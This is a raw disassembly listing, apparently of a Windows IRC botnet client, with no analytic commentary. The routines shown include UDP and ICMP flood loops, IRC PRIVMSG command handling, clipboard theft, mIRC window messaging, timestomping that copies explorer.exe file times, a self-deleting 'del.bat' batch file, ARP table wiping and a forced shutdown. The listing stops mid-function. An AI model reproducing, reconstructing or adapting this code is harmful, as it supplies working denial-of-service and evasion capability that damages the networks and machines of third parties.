sub_415DE1 pop ecx loc_408EA3: ; CODE XREF: sub_408E1D+2Bj mov eax, esi pop ebx jmp short loc_408EAA ; --------------------------------------------------------------------------- loc_408EA8: ; CODE XREF: sub_408E1D+Cj ; sub_408E1D+13j ... xor eax, eax loc_408EAA: ; CODE XREF: sub_408E1D+89j pop edi pop esi pop ebp retn sub_408E1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EAE proc near ; CODE XREF: sub_40D168+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_415500 mov esi, [ebp+arg_0] push esi call sub_415C80 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_408EE4 or eax, 0FFFFFFFFh jmp short loc_408F57 ; --------------------------------------------------------------------------- loc_408EE4: ; CODE XREF: sub_408EAE+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_408F06 loc_408EF0: ; CODE XREF: sub_408EAE+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_408EFD cmp dl, 0Dh jnz short loc_408F01 loc_408EFD: ; CODE XREF: sub_408EAE+48j and byte ptr [ecx+esi], 0 loc_408F01: ; CODE XREF: sub_408EAE+4Dj inc ecx cmp ecx, eax jl short loc_408EF0 loc_408F06: ; CODE XREF: sub_408EAE+40j xor edx, edx push edi test eax, eax jle short loc_408F37 lea edi, [ebp+var_7CC] loc_408F13: ; CODE XREF: sub_408EAE+87j cmp byte ptr [edx+esi], 0 jnz short loc_408F32 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_408F32 cmp ebx, 1F4h jge short loc_408F37 mov [edi], ecx inc ebx add edi, 4 loc_408F32: ; CODE XREF: sub_408EAE+69j ; sub_408EAE+74j inc edx cmp edx, eax jl short loc_408F13 loc_408F37: ; CODE XREF: sub_408EAE+5Dj ; sub_408EAE+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_408F55 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_415560 add esp, 0Ch loc_408F55: ; CODE XREF: sub_408EAE+8Ej mov eax, ebx loc_408F57: ; CODE XREF: sub_408EAE+34j pop esi pop ebx leave retn sub_408EAE endp ; =============== S U B R O U T I N E ======================================= sub_408F5B proc near ; CODE XREF: sub_408FB5+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_408F94 push ebx mov ebx, edi loc_408F78: ; CODE XREF: sub_408F5B+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_408F97 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_408F78 pop ebx loc_408F94: ; CODE XREF: sub_408F5B+18j pop edi pop esi retn sub_408F5B endp ; =============== S U B R O U T I N E ======================================= sub_408F97 proc near ; CODE XREF: sub_408F5B+25p ; sub_408FB5+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_417221 cmp al, 61h pop ecx jl short loc_408FB2 cmp al, 7Ah jg short loc_408FB2 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_408FB2: ; CODE XREF: sub_408F97+Ej ; sub_408F97+12j xor eax, eax retn sub_408F97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408FB5 proc near ; CODE XREF: sub_40A693+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_415D00 push ebx push esi push edi push [ebp+arg_0] call sub_415C80 push [ebp+arg_4] mov [ebp+var_4], eax call sub_415C80 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_408F5B add esp, 14h dec esi mov edi, esi loc_408FF3: ; CODE XREF: sub_408FB5+B6j test esi, esi jle short loc_409071 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_417221 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_417221 pop ecx cmp eax, ebx pop ecx jz short loc_409069 loc_409019: ; CODE XREF: sub_408FB5+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_408F97 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_40903A mov eax, ecx loc_40903A: ; CODE XREF: sub_408FB5+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_40906D mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_417221 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_417221 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_409019 loc_409069: ; CODE XREF: sub_408FB5+62j dec edi dec esi jmp short loc_408FF3 ; --------------------------------------------------------------------------- loc_40906D: ; CODE XREF: sub_408FB5+8Aj xor eax, eax jmp short loc_409076 ; --------------------------------------------------------------------------- loc_409071: ; CODE XREF: sub_408FB5+40j mov eax, [ebp+arg_0] add eax, edi loc_409076: ; CODE XREF: sub_408FB5+BAj pop edi pop esi pop ebx leave retn sub_408FB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40907B proc near ; CODE XREF: sub_40D2E0+3C8Cp ; sub_40D2E0+4AF5p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_42206C ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call ds:dword_4220E4 ; FormatMessageA lea eax, [ebp+var_100] loc_4090B4: ; CODE XREF: sub_40907B+46j mov cl, [eax] cmp cl, 1Fh jg short loc_4090C0 cmp cl, 9 jnz short loc_4090C3 loc_4090C0: ; CODE XREF: sub_40907B+3Ej inc eax jmp short loc_4090B4 ; --------------------------------------------------------------------------- loc_4090C3: ; CODE XREF: sub_40907B+43j ; sub_40907B+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4090DD mov cl, [eax] cmp cl, 2Eh jz short loc_4090C3 cmp cl, 21h jl short loc_4090C3 loc_4090DD: ; CODE XREF: sub_40907B+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_436598 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_4159FA add esp, 18h mov eax, esi pop esi leave retn sub_40907B endp ; =============== S U B R O U T I N E ======================================= sub_409105 proc near ; CODE XREF: sub_40D2E0+5732p push esi push 0 call ds:dword_436438 ; OpenClipboard test eax, eax jz short loc_40913C push 1 call ds:dword_436458 ; GetClipboardData mov esi, eax test esi, esi jz short loc_40913C push edi push esi call ds:dword_4220EC ; GlobalLock push esi mov edi, eax call ds:dword_4220E8 ; GlobalUnlock call ds:dword_4364BC ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40913C: ; CODE XREF: sub_409105+Bj ; sub_409105+19j xor eax, eax pop esi retn sub_409105 endp ; =============== S U B R O U T I N E ======================================= sub_409140 proc near ; CODE XREF: sub_40D2E0+48BFp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call ds:dword_436474 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_4091BC push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call ds:off_4220F8 push esi push esi mov edi, eax push esi push 0F001Fh push edi call ds:off_4220F4 push [esp+10h+arg_0] mov ebx, eax push ebx call sub_415480 pop ecx pop ecx push esi push 1 push 4C8h push ebp call ds:dword_4364C4 ; SendMessageA push esi push 1 push 4C9h push ebp call ds:dword_4364C4 ; SendMessageA push ebx call ds:off_4220F0 push edi call ds:off_422074 push 1 pop eax pop ebx jmp short loc_4091BE ; --------------------------------------------------------------------------- loc_4091BC: ; CODE XREF: sub_409140+16j xor eax, eax loc_4091BE: ; CODE XREF: sub_409140+7Aj pop edi pop esi pop ebp retn sub_409140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091C2 proc near ; CODE XREF: sub_40CB17+212p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call ds:off_436524 test eax, eax jz short loc_409261 mov edi, 80h push esi push edi push 3 push esi mov esi, ds:off_42207C push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; sub_4DB2B0 mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_409261 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call ds:dword_422100 ; GetFileTime push ebx mov ebx, ds:off_422074 call ebx ; sub_4DB3D5 push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; sub_4DB2B0 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_409261 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call ds:dword_4220FC ; SetFileTime push esi call ebx ; sub_4DB3D5 loc_409261: ; CODE XREF: sub_4091C2+2Aj ; sub_4091C2+51j ... pop edi pop esi pop ebx leave retn sub_4091C2 endp ; =============== S U B R O U T I N E ======================================= sub_409266 proc near ; CODE XREF: sub_40D2E0+13C4p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41358D pop ecx pop ecx push 50005h push 6 call ds:dword_4363B0 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_409266 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409288 proc near ; CODE XREF: sub_40B105+472p ; sub_40D2E0+59D4p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp ds:dword_42ACD8, esi push edi jz short loc_4092AC cmp ds:dword_436538, esi jnz short loc_4092AC push esi call sub_40A7C2 pop ecx loc_4092AC: ; CODE XREF: sub_409288+13j ; sub_409288+1Bj call sub_4150F5 lea eax, [ebp+var_764] push eax push 400h call ds:dword_42210C ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_415480 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:off_42207C mov edi, eax cmp edi, esi jbe loc_40940C lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_415480 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call ds:dword_4220B0 ; WriteFile push edi call ds:off_422074 push 10h lea eax, [ebp+var_14] push esi push eax call sub_415500 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_415500 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_4325D8 mov [ebp+var_2C], 1 mov [ebp+var_28], si call ds:off_4220E0 push eax call ds:off_422060 lea eax, [ebp+var_15C] push eax call ds:off_422080 cmp eax, 0FFFFFFFFh jz short loc_4093B4 lea eax, [ebp+var_15C] push 80h push eax call ds:dword_422108 ; SetFileAttributesA loc_4093B4: ; CODE XREF: sub_409288+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_415480 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call ds:dword_422000 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call ds:dword_422104 ; CreateProcessA loc_40940C: ; CODE XREF: sub_409288+72j pop edi pop esi leave retn sub_409288 endp ; =============== S U B R O U T I N E ======================================= sub_409410 proc near ; CODE XREF: sub_4013EC+7p ; sub_401992+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_4364A8 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_409438 push [esp+arg_0] call ds:dword_4364EC ; gethostbyname test eax, eax jnz short loc_409431 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_409431: ; CODE XREF: sub_409410+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_409438: ; CODE XREF: sub_409410+Dj retn sub_409410 endp ; =============== S U B R O U T I N E ======================================= sub_409439 proc near ; CODE XREF: sub_40D000+D6p mov ecx, ds:dword_436390 xor eax, eax test ecx, ecx jz short locret_409447 call ecx ; DnsFlushResolverCache locret_409447: ; CODE XREF: sub_409439+Aj retn sub_409439 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409448 proc near ; CODE XREF: sub_40D2E0:loc_4129C4p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call ds:dword_4364E4 ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40950E sub ecx, 32h jz loc_409507 sub ecx, 48h jz short loc_4094A8 sub ecx, 6Eh jz short loc_4094A1 loc_40948A: ; CODE XREF: sub_409448+8Bj push eax lea eax, [ebp+var_88] push offset unk_429174 push eax call sub_415480 add esp, 0Ch jmp short loc_4094E8 ; --------------------------------------------------------------------------- loc_4094A1: ; CODE XREF: sub_409448+40j push offset unk_429140 jmp short loc_4094DA ; --------------------------------------------------------------------------- loc_4094A8: ; CODE XREF: sub_409448+3Bj push [ebp+var_8] call sub_415D2F push [ebp+var_8] mov esi, eax push edi push esi call sub_415500 add esp, 10h cmp esi, edi jz short loc_4094D5 lea eax, [ebp+var_8] push ebx push eax push esi call ds:dword_4364E4 ; GetIpNetTable cmp eax, edi jz short loc_40950E jmp short loc_40948A ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_409448+79j push offset unk_429100 loc_4094DA: ; CODE XREF: sub_409448+5Ej ; sub_409448+C4j lea eax, [ebp+var_88] push eax call sub_415480 pop ecx pop ecx loc_4094E8: ; CODE XREF: sub_409448+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40A5B3 pop ecx loc_4094F8: ; CODE XREF: sub_409448+C8j ; sub_409448+DCj push esi call sub_415DE1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409507: ; CODE XREF: sub_409448+32j push offset unk_4290C0 jmp short loc_4094DA ; --------------------------------------------------------------------------- loc_40950E: ; CODE XREF: sub_409448+29j ; sub_409448+89j cmp [esi], edi jbe short loc_4094F8 lea ebx, [esi+4] loc_409515: ; CODE XREF: sub_409448+DAj push ebx call ds:dword_4364E0 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_409515 jmp short loc_4094F8 sub_409448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409526 proc near ; CODE XREF: sub_40144A+243p ; sub_401D82+268p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call ds:dword_43640C ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_43679C movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_415480 add esp, 18h mov eax, esi pop esi leave retn sub_409526 endp ; =============== S U B R O U T I N E ======================================= sub_40957F proc near ; CODE XREF: sub_4010B5+24Cp ; sub_4010B5+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_4095A8 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40959B: ; CODE XREF: sub_40957F+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40959B pop edi jmp short loc_4095AC ; --------------------------------------------------------------------------- loc_4095A8: ; CODE XREF: sub_40957F+Aj mov edx, [esp+4+arg_0] loc_4095AC: ; CODE XREF: sub_40957F+27j test esi, esi pop esi jz short loc_4095B6 movzx ecx, byte ptr [edx] add eax, ecx loc_4095B6: ; CODE XREF: sub_40957F+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40957F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095CC proc near ; DATA XREF: sub_40D2E0+2E51o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_415D00 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call ds:dword_4363F4 ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call ds:dword_4364A8 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_409627 lea eax, [ebp+var_C0] push eax call ds:dword_4364EC ; gethostbyname cmp eax, ebx jz short loc_40962D loc_409627: ; CODE XREF: sub_4095CC+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40968A loc_40962D: ; CODE XREF: sub_4095CC+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_4291F0 push eax call sub_415480 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40966D push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40BAE7 add esp, 14h loc_40966D: ; CODE XREF: sub_4095CC+7Fj lea eax, [ebp+var_344] push eax call sub_40A5B3 push [ebp+var_30] call sub_415248 pop ecx pop ecx push edi call ds:dword_422044 ; ExitThread loc_40968A: ; CODE XREF: sub_4095CC+5Fj cmp eax, ebx jz short loc_40969A mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40969D ; --------------------------------------------------------------------------- loc_40969A: ; CODE XREF: sub_4095CC+C0j mov [ebp+var_4], esi loc_40969D: ; CODE XREF: sub_4095CC+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_415500 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_4096BD mov [ebp+var_3C], eax loc_4096BD: ; CODE XREF: sub_4095CC+ECj cmp [ebp+var_38], edi jge short loc_4096C5 mov [ebp+var_38], edi loc_4096C5: ; CODE XREF: sub_4095CC+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_4096F2 loc_4096CC: ; CODE XREF: sub_4095CC+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call ds:dword_43638C ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_4096CC loc_4096F2: ; CODE XREF: sub_4095CC+FEj push [ebp+arg_0] call ds:dword_436520 ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_4291B4 push eax call sub_415480 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40973B push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40BAE7 add esp, 14h loc_40973B: ; CODE XREF: sub_4095CC+14Dj lea eax, [ebp+var_344] push eax call sub_40A5B3 push [ebp+var_30] call sub_415248 pop ecx pop ecx push ebx call ds:dword_422044 ; ExitThread sub_4095CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409758 proc near ; DATA XREF: sub_40D2E0+2FA9o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_415D00 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call ds:dword_422048 ; GetTickCount push eax call sub_4154D2 pop ecx push 11h push 2 push 2 call ds:dword_4364E8 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call ds:dword_4364A8 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40983D lea eax, [ebp+var_B0] push eax call ds:dword_4364EC ; gethostbyname cmp eax, edi jnz short loc_409836 lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_429264 push eax call sub_415480 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_409819 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40BAE7 add esp, 14h loc_409819: ; CODE XREF: sub_409758+9Fj lea eax, [ebp+var_334] push eax call sub_40A5B3 push [ebp+var_20] call sub_415248 pop ecx pop ecx push esi call ds:dword_422044 ; ExitThread loc_409836: ; CODE XREF: sub_409758+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_409840 ; --------------------------------------------------------------------------- loc_40983D: ; CODE XREF: sub_409758+6Ej lea eax, [ebp+arg_0] loc_409840: ; CODE XREF: sub_409758+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40985B call sub_4154DC cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40985E ; --------------------------------------------------------------------------- loc_40985B: ; CODE XREF: sub_409758+F0j push [ebp+var_24] loc_40985E: ; CODE XREF: sub_409758+101j call ds:dword_436468 ; htons cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_409870 mov [ebp+var_24], esi loc_409870: ; CODE XREF: sub_409758+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40987D mov [ebp+var_24], eax loc_40987D: ; CODE XREF: sub_409758+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_409891 mov [ebp+var_28], esi loc_409891: ; CODE XREF: sub_409758+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_4098B2 loc_409898: ; CODE XREF: sub_409758+158j call sub_4154DC cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_409898 loc_4098B2: ; CODE XREF: sub_409758+13Ej ; sub_409758+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_409911 push 0Bh pop esi loc_4098BF: ; CODE XREF: sub_409758+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_4154DC push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call ds:dword_4364CC ; sendto push [ebp+var_28] call ds:dword_422054 ; Sleep dec esi jnz short loc_4098BF cmp [ebp+var_24], edi jnz short loc_4098B2 call sub_4154DC cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call ds:dword_436468 ; htons mov [ebp+var_E], ax jmp short loc_4098B2 ; --------------------------------------------------------------------------- loc_409911: ; CODE XREF: sub_409758+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_429228 push eax call sub_415480 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_409951 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40BAE7 add esp, 14h loc_409951: ; CODE XREF: sub_409758+1D7j lea eax, [ebp+var_334] push eax call sub_40A5B3 push [ebp+var_20] call sub_415248 pop ecx pop ecx push edi call ds:dword_422044 ; ExitThread sub_409758 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40996E proc near ; CODE XREF: sub_40999E+2Ap ; sub_4099D6+7Ep ... mov eax, ds:dword_4367B4 push esi mov esi, ds:off_422074 cmp eax, 0FFFFFFFFh jz short loc_409982 push eax call esi ; sub_4DB3D5 loc_409982: ; CODE XREF: sub_40996E+Fj mov eax, ds:dword_4367BC cmp eax, 0FFFFFFFFh jz short loc_40998F push eax call esi ; sub_4DB3D5 loc_40998F: ; CODE XREF: sub_40996E+1Cj mov eax, ds:dword_4367B0 cmp eax, 0FFFFFFFFh jz short loc_40999C push eax call esi ; sub_4DB3D5 loc_40999C: ; CODE XREF: sub_40996E+29j pop esi retn sub_40996E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40999E proc near ; CODE XREF: sub_40A965+14Ap ; sub_40D2E0+4881p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_415C80 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push ds:dword_4367B8 call ds:dword_4220B0 ; WriteFile test eax, eax jnz short loc_4099D1 call sub_40996E xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4099D1: ; CODE XREF: sub_40999E+28j push 1 pop eax leave retn sub_40999E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4099D6 proc near ; CODE XREF: sub_409A5D+D3p ; sub_409A5D+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_4325D8 push [ebp+arg_4] call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_409A19 push 7D0h call ds:dword_422054 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_415480 add esp, 10h jmp short loc_409A30 ; --------------------------------------------------------------------------- loc_409A19: ; CODE XREF: sub_4099D6+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_2 ; "%s" push eax call sub_415480 add esp, 0Ch loc_409A30: ; CODE XREF: sub_4099D6+41j lea eax, [ebp+var_200] push 0 push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_4364B8 ; send test eax, eax jg short loc_409A59 call sub_40996E loc_409A59: ; CODE XREF: sub_4099D6+7Cj xor eax, eax leave retn sub_4099D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A5D proc near ; DATA XREF: sub_409BB2+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4367C0 loc_409A75: ; CODE XREF: sub_409A5D+79j ; sub_409A5D+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push ds:dword_4367B4 call ds:dword_422114 ; PeekNamedPipe test eax, eax jz loc_409B43 cmp [ebp+var_4], edi jnz short loc_409AD8 lea eax, [ebp+var_8] push eax push 